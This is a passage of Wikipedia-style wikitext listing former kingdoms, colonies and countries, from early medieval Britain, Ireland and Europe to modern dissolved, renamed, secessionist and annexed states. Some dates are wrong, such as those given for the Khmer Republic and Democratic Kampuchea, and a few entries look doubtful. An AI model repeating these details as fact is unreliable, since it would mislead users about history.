*[[Calchwynedd]], a kingdom in the [[Chiltern Hills]]
*[[Avalon]], a possible realm in modern [[Somerset]] near [[Glastonbury]].
*Caer Camulod, a probable kingdom around the city of [[Colchester]], possibly called [[Camelot]].
*[[Elmet]], a substantial kingdom in the midlands near [[Leeds]] extinguished in 616.
*[[Rheged]], another substantial kingdom, divided into north and south, in the north west of modern England.
*[[Caer Gwendolau]], a kingdom near modern [[Selkirk]] in [[Scotland]].
*Caer Luitcoit, a small kingdom in modern [[Staffordshire]].
*[[Pengwern]], a significant kingdom in what is now modern [[Shropshire]].

'''Anglo-Saxon kingdoms in England'''

*[[Northumbria]], formed out of the kingdoms of [[Bernicia]] and [[Deira]].
*[[Mercia]], which absorbed the smaller kingdoms of [[Lindsey]] and [[Hwicce]].
*[[East Anglia]].
*[[Kingdom of Kent|Kent]].
*[[Kingdom of Sussex|Sussex]], kingdom of the [[South Saxons]].
*[[Wessex]], kingdom of the [[West Saxons]].
*[[Kingdom of Essex|Essex]], kingdom of the [[East Saxons]].
*[[Haestingas]], a Saxon tribe in part of [[Sussex]].
*[[Magonsaete]], an Anglian tribe in the hills of [[Shropshire]].
*[[Hwicce]], an Anglian tribe in modern [[Gloucestershire]] &amp; [[Worcestershire]].
*[[Middle Saxons]], a Saxon tribe in modern [[Middlesex]] and [[Hertfordshire]].
*[[Suther ge]], the [[Saxons]] of modern [[Surrey]].
*[[Hicca]], a small ''Middle Angle'' tribe in modern [[Cambridgeshire]].
*[[Wreoconsaete]], an Anglian tribe in the hills of [[Shropshire]].
*Gyre, a small ''Middle Angle'' tribe in modern [[Cambridgeshire]].
*[[Witware]], the [[Jutes]] of the [[Isle of Wight]].

'''Romano-British and Welsh kingdoms in Wales'''

[[Wales]] experienced a similar history during this time, although the Welsh population successfully resisted the influx of Anglo-Saxon settlers into the British Isles. The country was home to a number of princedoms until England's ultimate conquest of the region in the later medieval period. 

*[[Venedotia]] a kingdom which later became known as the [[Kingdom of Gwynedd]]
*[[Kingdom of Gwynedd]] a kingdom that eventually became the core of the [[Principality of Wales]]
*[[Demetia]] a kingdom which later became known as [[Dyfed]]
*[[Dyfed]]
*[[Deheubarth]]
*[[Powys]]
*[[Brycheiniog]]
*[[Ceredigion]]
*[[Gwent]]
*[[Morganwg]]
*[[Gwerthyrnion]]
*[[Dyfed]]
*[[Meirionydd]]
*[[Seisyllwg]]
*[[Rhufoniog]]
*[[Rhos]]
*[[Dogfeiling]]
*Dunoting
*[[Principality of Wales]] a feudal confederation of Welsh principalities and a vasal of [[England]] between 1267-1282. 

'''Romano-British and Welsh kingdoms in Scotland'''

*[[Valentia]], an entity between [[Hadrians Wall]] and the [[Antonine Wall]] during the period following the departure of the Romans until c.450. 
*[[Kingdom of Strathclyde|Ystrad Clud]]
*[[Gododdin]]
*[[Manau Gododdin]]
*[[Caer Gwendolau]]

'''[[Pict]]ish kingdoms in Scotland'''

*Cait — situated in modern [[Caithness]] and [[Sutherland]] 
*Ce — situated in modern [[Mar]] and [[Buchan]] 
*Circinn — perhaps situated in modern [[Angus]] and the Mearns[37] 
*Fib — the modern [[Fife]], known to this day as 'the Kingdom of Fife' 
*Fidach — location unknown 
*Fotla — modern [[Atholl]] (Ath-Fotla)[38] 
*Fortriu — cognate with the Verturiones of the Romans; recently shown to be centered around [[Moray]]

'''Gaelic kingdoms in Scotland'''

*[[Dal Riada]], the proto state that became [[Scotland]].

&lt;br&gt;

'''Extinct kingdoms in Ireland'''

[[Ireland]] during the early medieval period, consisted of a number of small tribal kingdoms. These were nominally unified into a single state, the [[Lordship of Ireland]], between the [[twelth century|twelfth]] and [[sixteenth century|sixteenth]] centuries. This was followed by a [[Kingdom of Ireland]], which existed until Ireland's union with the rest of the British Isles in [[1800]]. The most prominent of the tribal kingdoms were:

*[[Aidhne]]
*Ailech
*[[Kingdom of Oriel|Airgialla]]
*Breifne  ''For reference see'' [[Information on East Breifne]]
*Clandeboye
*[[Conmaicne Mara]]
*[[Delbhna Nuadat]]
*[[Delbhna Tir Dha Locha]]
*Dal Faitach
*[[Dalriada]]
*[[Desmond]] 
*Dublin
*Fir Manach
*[[Hy-Many]]
*[[Meath]]
*[[Moylurg]]
*Muscraighe
*Osraige
*[[Thomond]] 
*Tir Eogain
*Tir Connell
*Ui Cheinnsealaigh
*Ui Failghe
*[[Ui Fiachrach]]
*Uladh

====Elsewhere====
*[[Khazaria]]
*[[Magadhan Empire]]
*[[Byzantine Empire]] (395-1453)
**[[Empire of Nicaea]] (1204-1261)
**[[Empire of Trebizond]]
**[[Despotate of Epirus]] 
**[[Morea|Despotate of Morea]]
*[[Srivijaya]]n kingdom (500s-1400)
*[[Franks|Frankish Kingdom]]/[[Carolingian Empire]] (~419-843)
**[[Western Franks|West Francia]]
***[[France|Kingdom of France]]
**[[Central Franks|Central Francia]]
***Kingdom of [[Lotharingia]] (855-869)
**[[East Francia]]
***[[Holy Roman Empire]] (843-1806)
****[[List of states in the Holy Roman Empire]]
*Great [[Bulgaria]] (632-660)
*[[Volga Bulgaria]] (660-1236)
*[[Novgorod Republic]]
*[[History of the First Bulgarian Empire|First Bulgarian Empire]] (681-1018)
**[[Bulgaria]]n [[Khanate]] (681-864)
*[[Golden Horde]] - in [[1430s]] into [[Kazan Khanate]], [[Crimean Khanate]], [[Astrakhan Khanate]], [[Siberian Khanate]], [[Big Horde]]; [[Russia]] finally became independent
*[[List of barbarian kings of Italy|Kingdom of Italy]]
*[[Khazaria|Khazar Empire]] (652-1016)
*[[Champa]] (192-1697)
*[[Khmer Empire]] (657-1462)
*[[Nanzhao]] (737-902)
*[[Kingdom of Dali]] (937-1253)
*[[Guge]] (ca. 900- ca. 1650)
*[[Kievan Rus]] (860 - 12th century)
*[[Armenian Kingdom of Cilicia]] (1080-1375)
*[[Medieval Croatian state]] (~800s-1102)
*[[Duchy of Lorraine]]
*Duchy of [[Burgundy]] ([[880]]-[[1482]])
*[[Spain|Spanish]] states
**Christian
***[[Crown of Aragon]] (-1479)
****[[Aragon]] (1035-1479)
*****[[Ribagorza]]
*****[[Sobrarbe]]
****[[Count of Barcelona|County of Barcelona]], a.k.a Principality of [[Catalonia]]
***** [[Urgell]] and other semi-independent counties
****[[Kingdom of Valencia]]
****[[Kingdom of the Majorcan]]
***[[Kingdom of Asturias]] (716-913) afterwards
***[[Kingdom of León]] (913-1037, 1195-1230)
***[[Castile]] (11th century - 1479)
***[[Kingdom of Navarre]]
**Moorish
***[[Caliph of Cordoba|Caliphate of Cordoba]]
***[[Taifa]] kingdoms
****[[Denia]]
****[[Granada]] (-1492 Castilian conquest) 
*[[Republic of Venice]] (727-1797)
*[[Crusader State]]s (1098-1291)
**[[County of Edessa]]
**[[Kingdom of Jerusalem]]
**[[Principality of Antioch]]
**[[County of Tripoli]]
**[[Kingdom of Cyprus]]
**[[Latin Empire|Latin Empire of Constantinople]]
**[[Kingdom of Thessalonica]]
**[[Principality of Achaea]]
**[[Duchy of Athens]]
**[[Duchy of the Archipelago]]
*[[Pomerania]] ruled by the [[Dukes of Pomerania]] (1121-1637)
*[[History of the Second Bulgarian Empire|Second Bulgarian Empire]] (1186-1396)
*[[Habsburg]] Empire (1282-1867)
*[[Mongols|Mongol Empire]] (1200-1266)
*[[Singhasari]] kingdom (1222-~1500)
*[[Majapahit Empire]] (~1293-1500)
*[[Sultanate of Malacca]] (1402 - 1511)
*[[Republic of Ragusa]]/Dubrovnik (1358-1808)
*[[Monarchs of Naples and Sicily|Kingdoms of Naples and Sicily]] (1043-1410, 1442-1500, 1735-1860)
*[[Papal States]] &amp;mdash; partially annexed by the kingdom of Italy in 1860, completely annexed in 1870.
**[[Avignon]]
**[[Peñíscola]] under antipope [[Antipope Benedict XIII|Benedict XIII]]
*[[Grand Duchy of Lithuania]] (-1795)
*[[Savoy|Duchy of Savoy]] (1416-1714)
*[[Duchy of Bar]]
*[[Fatimid]] (909-1171)
*[[Sultanate of Rüm]] ([[1077]]-[[1307]])
*[[Duchy of Brittany]] ([[841]] to [[1532]])
*[[Republic of St. Tropez]] ([[1470]]-[[1672]])
*[[Karantania]]
*[[Mongol Empire]]
*[[Monastic State of the Teutonic Knights]]
*[[Duchy of Normandy]]
*[[Timurid Empire]]
*[[Trubczewsk]]
*[[Brabant|Duchy of Brabant]]

==Modern states==
===States and territories grouped by geographical location===
====Europe====
*In and around what is now [[Bulgaria]]
**Third [[History of Bulgaria|Bulgarian]] Kingdom (1878-1944)
**[[Principality]] of [[History of Bulgaria|Bulgaria]] (1878-1908)
*[[Commonwealth of England]] - (non-existent)
*In and around what is now [[Scandinavia]]
**[[Grand Duchy of Finland]]
**[[Kalmar Union]] - (dissolved)
**[[Denmark-Norway]] - (dissolved)
**[[Sweden-Norway]] - (dissolved)
* In and around what is now [[Germany]]
**[[Confederation of the Rhine]]
***[[German Confederation]]
****[[North German Confederation]]
**[[German Empire]] (1871-1918)
***[[Kingdom of Prussia]] (1701-1918)
***[[Ducal Prussia]]
**[[Brandenburg-Prussia]] (1660-1701)
* On the island of [[Ireland]]
** Confederation of Kilkenny/[[Confederate Ireland]] (1642-1649)
*[[Historical states of Italy]]
**[[Roman Republic (19th century)]]
**[[Tavolara Island]]
**[[Two Sicilies|Kingdom of the Two Sicilies]] (1815-1860)
* In and around what is now [[The Netherlands]]:
** [[Republic of the Seven United Netherlands]] ([[1581]] - [[1795]]) (Republiek der Zeven Verenigde Nederlanden/Provinciën) Independence from [[Spain]] after [[Eighty Years' War]] in [[1581]], conquered by [[Napoleon]] 1795.
** [[Batavian Republic]] ([[1795]] - [[1806]]) (Bataafse Republiek) [[France]]'s [[vassal state]].
** [[Kingdom of Holland]] ([[1806]] - [[1810]]) (Koninkrijk Holland/Royaume d'Hollande) Ruled by [[Louis Bonaparte]], [[Annexation|annexed]] by [[France]] 1810.
* In and around what is now [[Poland]]
**[[Grand Duchy of Lithuania]]
**[[Polish-Lithuanian Commonwealth]] (1569-1795)
**[[Duchy of Warsaw]] (1807-1815)
**[[Free City of Danzig]] (1807-1815) (1920-1939)
**[[Free City of Kraków|Republic of Krakow]] (1815-1846)
**[[Duchy of Courland]] (1561-1795)

====Asia====
* In [[History of Afghanistan|Afghanistan]]
**[[Durrani Empire]] (1747-1823)
*[[List of Kings of Iraq|Kingdom of Iraq]]
*[[Ottoman Empire]] (c.1281-1923)
* In and around the [[Philippines]]
**[[Sultanate of Sulu]] (1789-1940)

====East Asia====
*[[Manchukuo]] (1932-1945) 

====North America====
*[[Iroquois Confederacy]]
*[[Cherokee Empire]]
*[[Cherokee Republic]]
*[[First Vermont Republic June 1777-1791]]
*[[State of Franklin]]
*[[Conch Republic]]
*[[Republic of Texas]]

====Latin America====
*[[Brazilian Empire]] (1822-1889)
*[[Chan Santa Cruz]]
*[[Gran Colombia]]
*[[Mexican Empire]] (First Empire: 1821-1823; Second Empire: 1864-1867)
*[[United Provinces of Central America]]
*La Hermana Republica de [[Yucatan]]: 1821-1848; Mexican state on and off governened itself as an independant republic

====Pre-colonial Africa====
:''See also: [[List of Great Lakes kingdoms]] and [[East African City-States]]''

*[[Ashanti Confederacy]] fell to the [[United Kingdom]] in [[1900]]
*[[Barbary States]]
*[[Basutoland]] - [[1868]], to the [[United Kingdom]]
*[[Kingdom of Benin|Benin]], fell in [[1897]] to the [[United Kingdom]]
*[[Buganda]] became [[Uganda]]
*[[Bunyoro]] made a British protectorate in [[1897]]
*[[Kingdom of Burundi|Burundi]] fell to [[Germany]] in [[1899]]
*[[Dahomey]] conquered by [[France]] in [[1894]]
*[[Fante Confederacy]], [[1874]], to the [[United Kingdom]]
*[[Fulani Empire]] - annexed by [[France]] and the [[United Kingdom]] in [[1903]]
*[[Kingdom of Gao|Gao]]
*[[Kingdom of Ghana|Ghana]], ([[9th century|9th]] to [[13th century|13th]] centuries, fell to [[Almoravids]])
*[[Great Zimabawe]]
*[[Kanem-Borno]]
*[[Kingdom of Mali|Mali]]
*[[Merina]]
*[[Monomotapa]]
*[[Pemba, Tanzania]]
*[[Kingdom of Rwanda|Rwanda]] [[1894]] to [[Germany]]
*[[Songhai]]
*[[Toro (kingdom)|Toro]]
*[[Zanzibar]]
*[[Zululand]]

===States and territories grouped by type===
====Former colonies, possessions, protectorates and territories====
These were all [[colony|colonies]], most of which were renamed after their independence.

*[[Afars and Issas]] - French territory between [[1967]] and [[1977]], called [[French Somaliland]] before that. Became independent as [[Djibouti]].
*[[Basutoland]] - Since [[1868]] a [[United Kingdom|British]] protectorate, later colony (governed from [[South Africa]]). Became independent as [[Lesotho]] in [[1966]].
*[[Bechuanaland]] - Since [[1884]] a British protectorate, later colony (governed from [[South Africa]]). Became independent as [[Botswana]] in [[1966]].
*[[Belgian Congo]] - [[Belgium|Belgian]] colony from [[1908]] until [[1960]], when the it became independent as the [[Democratic Republic of the Congo]].
*[[British Guiana]] - became [[Guyana]]
*[[British Honduras]] - became [[Belize]]
*[[British North America]] - [[13 colonies|thirteen of the British colonies]] broke away and formed the [[USA]] while the loyal colonies eventually became [[Canada]]
*[[British Raj]]
*[[Congo Free State]] - Name of the state owned from [[1884]] by King [[Léopold II of Belgium]], later mostly annexed by his country in [[1908]], then known as [[Belgian Congo]].
*[[Dahomey]] - This [[Africa]]n kingdom was acquired by [[France]]. In [[1904]], it was made part of the [[French West Africa]]n federation. It became independent in [[1960]], changing its name in [[1975]] to [[Benin]].
*[[Danish West Indies]] - [[Denmark|Danish]] colony, sold in [[1917]] to the [[United States]]. Now known as the [[United States Virgin Islands]].
*[[Dutch Guiana]] - became [[Suriname]]
*[[French Equatorial Africa]] - A French federation of colonies, formed in [[1910]], containing the colonies of [[Gabon]], [[Middle Congo]], [[Chad]] and [[Ubangi-Shari]]. Each of these states became independent in 1960.
*[[French Indochina]] - French territory until [[1949]]. Became independent as [[Cambodia]], [[Laos]] and [[Vietnam]].
*[[French Somaliland]] - became [[Afars and Issas]] then independent [[Djibouti]]
*[[French Sudan]] - A [[French colony]], part of the [[French West Africa]]n federation since [[1904]]. In [[1959]] it formed the independent [[Mali Federation]] together with [[Senegal]], which fell apart in [[1960]], after which the country was renamed [[Mali]].
*[[French West Africa]] - dissolved into [[Mali]], [[Senegal]], [[Côte d'Ivoire]], [[Upper Volta]], [[Niger]], [[Guinea]], [[Dahomey]], [[Mauritania]].
*[[German East Africa]] - became [[Tanganyika]], now in [[Tanzania]]
*[[German New Guinea]] - protectorate from 1884 until conquered by Australia in 1914.
*[[German South-West Africa]] - A [[Germany|German]] colony from [[1884]] to [[1915]], after which it became [[South Africa]]n held territory until [[1990]], when the country became independent as [[Namibia]].
*[[Gold Coast (British colony)|Gold Coast]] - A British colony since [[1874]], it became independent as [[Ghana]] in [[1957]].
*[[Hong Kong]] - colony of the [[United Kingdom]], sovereignty transferred to the [[People's Republic of China]] on [[July 1]], [[1997]], as a &quot;Special Administrative Region&quot;.
*[[Italian East Africa]] - Italian colonies of [[Eritrea]] and [[Italian Somaliland]] together with occupied [[Ethiopia]].
*[[Italian North Africa]] - became [[Libya]]
*[[Macau|Macao]] - colony of [[Portugal]], sovereignty transferred to the [[People's Republic of China]] on [[December 20]], [[1999]], as a &quot;Special Administrative Region&quot;.
*[[Middle Congo]] - A French colony, previously named [[French Congo]], became independent as the [[Republic of the Congo]] in [[1960]].
*[[Minorca]] - British colony returned to Spain
*[[Netherlands East Indies]] - A collection of [[Netherlands|Dutch]] colonies, officially since the end of the [[Napoleonic Wars]], up to [[1799]] controlled by the [[Dutch East India Company]] but occupied and administered by the [[British Empire|British]] in an interregnum during the [[Napoleonic Wars]] under the authority of the [[Kew Letters]]. Became independent as [[Indonesia]] in [[1949]].
*[[Netherlands Guiana]] - became [[Suriname]]
*[[Netherlands New Guinea]] - adjacent to the [[Netherlands East Indies]] until [[1949]], became part of [[Indonesia]] in [[1969]] as [[Irian Jaya]].
*[[New France]] was conquered by the United Kingdom; various parts of it later became part of [[Canada]] and the [[United States]].
*[[New Hebrides]] - An Anglo-French condominium until [[1980]]. Became independent as [[Vanuatu]].
*[[New Granada]]
*[[New Netherlands]] - A Dutch colony in the present-day [[United States]], mainly in and around the state of [[New York]].  It was conquered by [[Kingdom of England|England]] in 1664.
*[[New Spain]]
*[[Northern Rhodesia]] - became [[Zambia]] in [[1964]].
*[[Nyasaland]] - British protectorate, previously called [[British Central Africa]], it was renamed Nyasaland in [[1907]]. It became part of a federation with [[Rhodesia]] in [[1953]], and became independent as [[Malawi]] in [[1964]].
*[[Oubangui-Chari]] - became [[Central African Republic]]
*[[Panama Canal Zone]] - US territory until [[1979]]. Became part of [[Panama]].
*[[Portuguese East Africa]] - became [[Mozambique]]
*[[Portuguese Guinea]] - became [[Guinea-Bissau]]
*[[Portuguese India]] - became part of [[India]]
*[[Portuguese Timor]] - The eastern side of the island of [[Timor]] was a [[Portugal|Portuguese]] colony until [[1975]], when independence was declared as [[East Timor]]. [[Indonesia]]n troops seized the country, but the country was finally declared independent in [[2002]].
*[[Portuguese West Africa]] - became [[Angola]]
*[[Rhodesia]] - name for [[Southern Rhodesia]] (now [[Zimbabwe]]) while unilaterally claiming independence, 1965-1979.
*[[Rio Muni]] - Former Spanish colony, then part of territory of [[Spanish Guinea]] until [[1968]]. Became independent as [[Equatorial Guinea]].
*[[Ruanda-Urundi]] - UN Trusteeship (Belgian) until [[1962]]. Became independent as [[Burundi]] and [[Rwanda]].
*Protectorate of [[South Arabia]] - Federation until [[1967]], consisting of British colony of [[Aden]] and numerous protectorates. Became independent as People's Republic of Yemen (from 1970 People's Democratic Republic of Yemen) see: [[South Yemen]].
*[[South-West Africa]] - In [[1915]], [[South Africa]] occupied the [[Germany|German]] colony of South-West Africa, which it held under mandate until [[1922]], after which they remained ruling the territory until its independence in [[1990]] as [[Namibia]].
*[[Southern Rhodesia]] - British colony, unilaterally declared itself independent as [[Rhodesia]] in 1965, renamed [[Zimbabwe Rhodesia]] 1979, then gained international recognition as [[Zimbabwe]] 1980.
*[[Spanish Guinea]] - became [[Equatorial Guinea]]. Consisted of two former colonies of [[Rio Muni]] and [[Fernando Po]].
*[[History of Western Sahara#Spanish Sahara|Spanish Sahara]] - now generally known as [[Western Sahara]], but claimed by and divided between [[Morocco]] and [[Mauritania]] in 1976, later entirely by Morocco. The issues of sovereignty and international recognition have yet to be resolved.
*The [[Straits Settlements]] - British colony until [[1946]]. Became independent as [[Malaya]] and [[Singapore]].
*[[Tanganyika]] - British territory until [[1961]]. From then independent until [[1964]], when it became part of [[Tanzania]].
*The colonies of [[Colony of Vancouver Island|Vancouver Island]], [[United Colonies of Vancouver Island and British Columbia|British Columbia]], [[Upper Canada]] and [[Lower Canada]] (later, the [[Province of Canada]]), [[Nova Scotia]], [[New Brunswick]], [[Prince Edward Island]] and [[Newfoundland and Labrador|Newfoundland]], plus the territory of [[Rupert's Land]], spent much time reorganizing themselves into various patterns; they all eventually became part of [[Canada]].

====Dissolved countries====
These states are now dissolved into a number of countries.

*[[Austria-Hungary]] - This double monarchy was formed in [[1867]] from the [[Habsburg]] empire, having an [[Austrian Empire|Austrian]] and a Hungarian part. In [[1918]], the empire was split into [[Austria]], [[Hungary]], [[Czechoslovakia]], [[Poland]] and [[Kingdom of Serbs, Croats and Slovenes]] (renamed to [[Kingdom of Yugoslavia]] in 1929).
*[[Czechoslovakia]] - State created from parts of [[Austria-Hungary]], which dissolved after [[World War I]]. In [[1993]], the country was split into two parts, the [[Czech Republic]] and [[Slovakia]].
*[[Greater Colombia]] - [[Simón Bolívar]] forged this state from parts of the Spanish Empire. It split into [[Venezuela]], [[New Granada]] and [[Ecuador]]. In [[1863]] New Granada changed its name to [[Colombia]] and [[Panama]] split from it in [[1903]].
*[[Mali Federation]] - In [[1959]] formed by [[Senegal]] and [[French Sudan]], both parts of [[French West Africa]], as an independent nation. It fell apart in [[1960]] into [[Senegal]] and [[Mali]].
*[[Peru-Bolivian Confederacy]] - A union formed in [[1836]] by [[Peru]] and [[Bolivia]] and which lasted until [[1839]].
*[[Polish-Lithuanian Commonwealth]] (or The Commonwealth of the Two Nations) [[Partitions of Poland|partitioned]] in [[1772]]-[[1795]] among [[Russia]], [[Prussia]] and [[Austria]]. These lands are distrubuted today among [[Poland]], [[Lithuania]], [[Latvia]], [[Estonia]], [[Ukraine]], [[Belarus]], and  partly [[Russia]].
*[[Senegambia]] - Loose [[Confederation|confederation]] between African countries of [[Senegal]] and [[Gambia]] that existed from [[1982]] to [[1989]]
*[[Soviet Union]], more formally known as the Union of Soviet Socialist Republics (or USSR). Formed in [[1922]]. Dissolved [[1991]]-[[1992]] into its constituent [[republic]]s: [[Armenia]], [[Azerbaijan]], [[Belarus]], [[Estonia]], [[Georgia (country)|Georgia]], [[Kazakhstan]], [[Kyrgyzstan]], [[Latvia]], [[Lithuania]], [[Moldova]], [[Russia]], [[Tajikistan]], [[Turkmenistan]], [[Ukraine]], and [[Uzbekistan]]. 
*[[United Arab Republic]] - A union formed by [[Egypt]] and [[Syria]] in [[1958]] was dissolved in [[1961]], though Egypt used the name until [[1971]].
*[[United Kingdom of the Netherlands]] ([[1815]] - [[1830]]) (Verenigd Koninkrijk der Nederlanden/Royaume-Uni des Pays-Bas) created during the [[Congress of Vienna]] in [[1815]], dissolved to [[Belgium]] (revolted [[1830]]), [[Luxembourg]] (left [[1835]]) and [[Netherlands]].
*[[History of Central America|United Provinces of Central America]] also known as '''United States of Central America'''-- independent [[1823]]; fell apart into separate states in civil war [[1838]]-[[1840]]. 
*[[West Indies Federation]] - Federal state created by the [[United Kingdom]] in [[1958]] which encompassed most of its possessions in the [[Caribbean]]. The federation collapsed after [[Jamaica]] voted to separate. 
*[[Tu'i Tonga]]-Lost states such as [[Samoa]], [[Fiji]], etc to foreign European powers.  
*[[Yugoslavia]] - State created from parts of [[Austria-Hungary]] and Kingdoms of [[Serbia]] and [[Montenegro]] in 1918/1929. Re-created after [[World War II]], dissolved when four out of six constituent republics ([[Slovenia]], [[Croatia]], [[Republic of Macedonia|F.Y.R.O.M.]] and [[Bosnia and Herzegovina]]) seceded in [[1990s]]. Remaining two republics officially renamed back into [[Serbia and Montenegro]] in [[2003]].

====Renamed countries====
{{main|Geographical renaming}}
These country names have been replaced.

*[[Abyssinia]] was a name formerly used for [[Ethiopia]]
*[[Burma]] - Renamed [[Myanmar]] in [[1989]].
*[[Central African Empire]] - temporary phase ([[1977]] - [[1979]]) in the existence of the [[Central African Republic]].
*[[Ceylon]] - Name of [[Sri Lanka]] until [[1972]].
*[[Republic of the Congo]] - Name of [[Democratic Republic of the Congo]] from [[1960]] to [[1966]].
*[[Éire]] - took another ''description'' in [[1949]]
*[[Irish Free State]] - renamed [[Éire]] in [[1937]].
*[[Ivory Coast]] - became [[Côte d'Ivoire]] in [[1985]], the French name being used in other languages thereafter (in [[Portuguese language|Portuguese]] the translated name ''Costa do Marfim'' is used)
*[[Democratic Kampuchea]] - Name of [[Cambodia]] from [[1980]] to [[1989]], before reverting to the original ([[1949]] to [[1975]]) name.
*[[Khmer Republic]] - Name of [[Cambodia]] from [[1975]] to [[1980]]
*[[New Connecticut]] - Briefly, in [[1777]], the name of what became the [[Vermont Republic]].
*[[Iran|Persia]] - Name of [[Iran]] in the west until [[1935]], locally it has always been called Iran.
*[[Mesopotamia]] - Name of [[Iraq]] until [[1930]].
*[[Siam]] - Name of [[Thailand]] until [[1939]].
*[[Transjordan]] - Renamed to [[Jordan]] in [[1946]]
*[[Trucial States]] - Became [[United Arab Emirates]] in [[1971]].
*[[United Kingdom of Great Britain and Ireland]] renamed [[United Kingdom of Great Britain and Northern Ireland]] in [[1927]], (26 of Ireland's 32 counties left the UK in [[1922]]). 
*[[Upper Volta]] - Name of [[Burkina Faso]] until [[1984]].
*[[Federal Republic of Yugoslavia]] renamed into [[Serbia and Montenegro]] in  [[2003]].
*[[Zaire]] - Name of [[Democratic Republic of the Congo]] from [[1971]] to [[1997]].

====Nominally independent homelands of South Africa====
Four of the [[Homeland (South Africa)|homelands]], or [[bantustans]], for [[black people]], were granted nominal independence from [[South Africa]]. Not recognised by other nations, these [[puppet state]]s were [[political union|re-incorporated]] in [[1994]].
*[[Bophuthatswana]] - Declared independent in [[1977]], reincorporated in [[1994]].
*[[Ciskei]] - Declared independent in [[1981]], reincorporated in [[1994]].
*[[Transkei]] - Declared independent in [[1976]], reincorporated in [[1994]].
*[[Venda]] - Declared independent in [[1979]], reincorporated in [[1994]].

====Secessionist states====
These nations declared themselves independent, but failed to achieve or did not seek permanent independence and were either re-incorporated into the mother country or incorporated into another country.

*[[Biafra]] - Declared independence of [[Nigeria]] in [[1967]]. Defeated and reincorporated in [[1970]].
*[[California Republic|California]] - declared independence from [[Mexico]] in June [[1846]], claimed by U.S. Navy for United States in July  1846.
*[[Carpatho-Ukraine]] - declared independence from [[Czechoslovakia]] in 1939, but was annexed by [[Hungary]] within a few days.
*[[Cartagena Canton]] - the haven city of [[Cartagena, Spain]] seceded from the [[First Spanish Republic]] in [[1873]].
*[[Chechnya]] - Virtually independent from [[Russia]] from [[1996]] as '''Chechen Republic of [[Ichkeria]]''', however the country was recognized only by [[Taliban]]. After terrorist attacks in [[1999]] the republic was returned to the [[Russian Federation]]'s control in the [[Second Chechen War]].
*[[Confederate States of America]] - Declared its independence from the [[United States]] in [[1861]], reincorporated,  [[1861]]-[[1865]].
*[[Independent State of Croatia]]
*[[Crimea]], declared independence from [[Ukraine]] in [[1992]] but soon settled for being an autonomous republic within Ukraine.
*[[Cruzob]], achieved independence from [[Mexico]] in [[1856]], but was reannexed in [[1901]].
*[[Republic of Ezo|Ezo]] - declared independence from [[Japan]] in [[1868]] after the defeat of the forces of the [[Tokugawa shogunate]] during the [[Boshin War]] until it was reincorporated into Japan in [[1869]]
*[[Italian Social Republic]]
*[[Katanga]] - Declared its independence of the newly formed [[Republic of the Congo]] in [[1960]], was incorporated again in [[1963]].
*[[Republic of Manitoba|Manitoba]] - short-lived republic led by Thomas Spence, declared after the [[Hudson's Bay Company]] gave up [[Rupert's Land]] and before the government of [[Canada]] took control (1867).
*[[Red River Rebellion]] - provisional government in [[Rupert's Land]], led by [[Louis Riel]] in (1869–1870).
*[[Republic of Rio Grande|Rio Grande]] declared independence in [[1840]], brought back into [[Mexico]] by force less than a year later, encompassed the land of the Mexican states of Tamaulipas, Nuevo Leon, and parts of the [[United States|USA]] state of [[Texas]].
*[[Republic of Texas|Texas]] - After becoming independent of [[Mexico]] in [[1836]], Texas sought annexation by the [[United States]], which occurred in [[1845]].
*[[Ukrainian People's Republic]] - declared independence after the [[Russian Revolution of 1917]], but fell to the [[Soviet Union]] in 1920.

====Annexed countries====
These nations, once separate, are now part of another country.

*[[Republic of Alsace-Lorraine]] - Formed after the collapse of the [[German Empire]] at the end of [[World War I]], 11 days later it was occupied by and incorporated in [[France]].
*[[British Somaliland]] - became part of [[Somalia]], but has since asserted its independence as the [[Somaliland]] republic.
*''Regency of Carnaro'' in [[1919]] and ''Free State of Fiume'' in [[1920]], two short-lived states in the port city of [[Fiume]]/[[Rijeka]] proclaimed by [[Gabriele D'Annunzio]]. Following [[World War I]], the city was disputed between [[Italy]] and [[Yugoslavia]], and eventually captured by [[Italy]] in [[1921]]. The city passed to [[Yugoslavia]] after [[World War II]] and is now in [[Croatia]].
*The Kingdom of [[Hawaii]] was unified in [[1810]] under [[Kamehameha I]], and was recognized by the United States as an independent nation from [[1826]] until [[January 17]], [[1893]]. Following the overthrow of the monarchy it existed as the independent [[Republic of Hawaii]] until annexation by the United States in [[1898]].
*[[Chan Santa Cruz]] [[Maya people|Maya]] state in eastern [[Yucatan]] peninsula, recognized as independent nation by [[British Empire]] in [[1850s]]; now part of [[Mexico]].
*[[Eastern Rumelia]] - province of the [[Ottoman Empire]] unified with [[Bulgaria]] in [[1885]]
*[[East Germany|German Democratic Republic]] - Unified with [[West Germany|Federal Republic of Germany]] in [[1990]].
*[[Far Eastern Republic]] - puppet of the [[RSFSR]]
*[[Republic of Hatay]]
*[[Indian Princely States]]
*[[Republic of Indian Stream]] - 1832-1835, now part of U.S.
*[[Italian Somaliland]] - Became part of [[Somalia]].
*[[Kalat]] - Became part of [[Pakistan]].
*[[Karelo-Finnish SSR|Karelo-Finnish Soviet Socialist Republic]] - annexed by [[Russia]], upon the collapse of the Soviet Union became the autonomous [[Republic of Karelia]]
*[[Manchukuo]] - Japanese puppet state in [[Manchuria]] from [[1931]] until [[1945]]. Reincorporated into [[China]] in 1945.
*[[Moldavia]] - Now divided among [[Romania]], [[Moldova]] and [[Ukraine]].
*[[Moresnet]] - A tiny European territory that endured for a hundred years before definitively becoming part of [[Belgium]].
*[[Newfoundland and Labrador|Newfoundland]]- Existed as an autonomous colony of the [[United Kingdom]] from [[1855]] to [[1907]], then a sovereign [[dominion]] until [[1934]] when it reverted to a crown colony. It joined in [[Confederation]] with [[Canada]] in [[1949]].
*[[Orange Free State]] - This country was independent from [[1854]] to [[1900]], when it was incorporated into [[South Africa]].  It was one of two Boer republics, along with the [[South African Republic]] (Transvaal Republic).
*[[South Yemen]] (People's Democratic Republic of Yemen) and [[North Yemen]] (Yemen Arab Republic) in [[1990]] united to form [[Yemen]]
*Kingdom of [[Sikkim]] merged with [[India]] in 1975
*[[Republic of Formosa]] - Lasted from May to October [[1895]] after the island was ceded by [[China]] to [[Japan]] and the local gentry and officials declared a tributary republic in a failed attempt to avert Japanese annexation.
*[[Republic of Texas]] - Annexed by [[United States]] in 1846.
*[[Tibet]] - Annexed by the [[People's Republic of China]] in 1950, claimed by the [[Republic of China]].
*[[Transvaal Republic]] (South African Republic) - Independent country before becoming part of the [[British Empire]] during the [[Second Boer War]] in [[1902]] and is currently part of [[South Africa]].  It was one of two Boer republics, the other was the [[Orange Free State]].
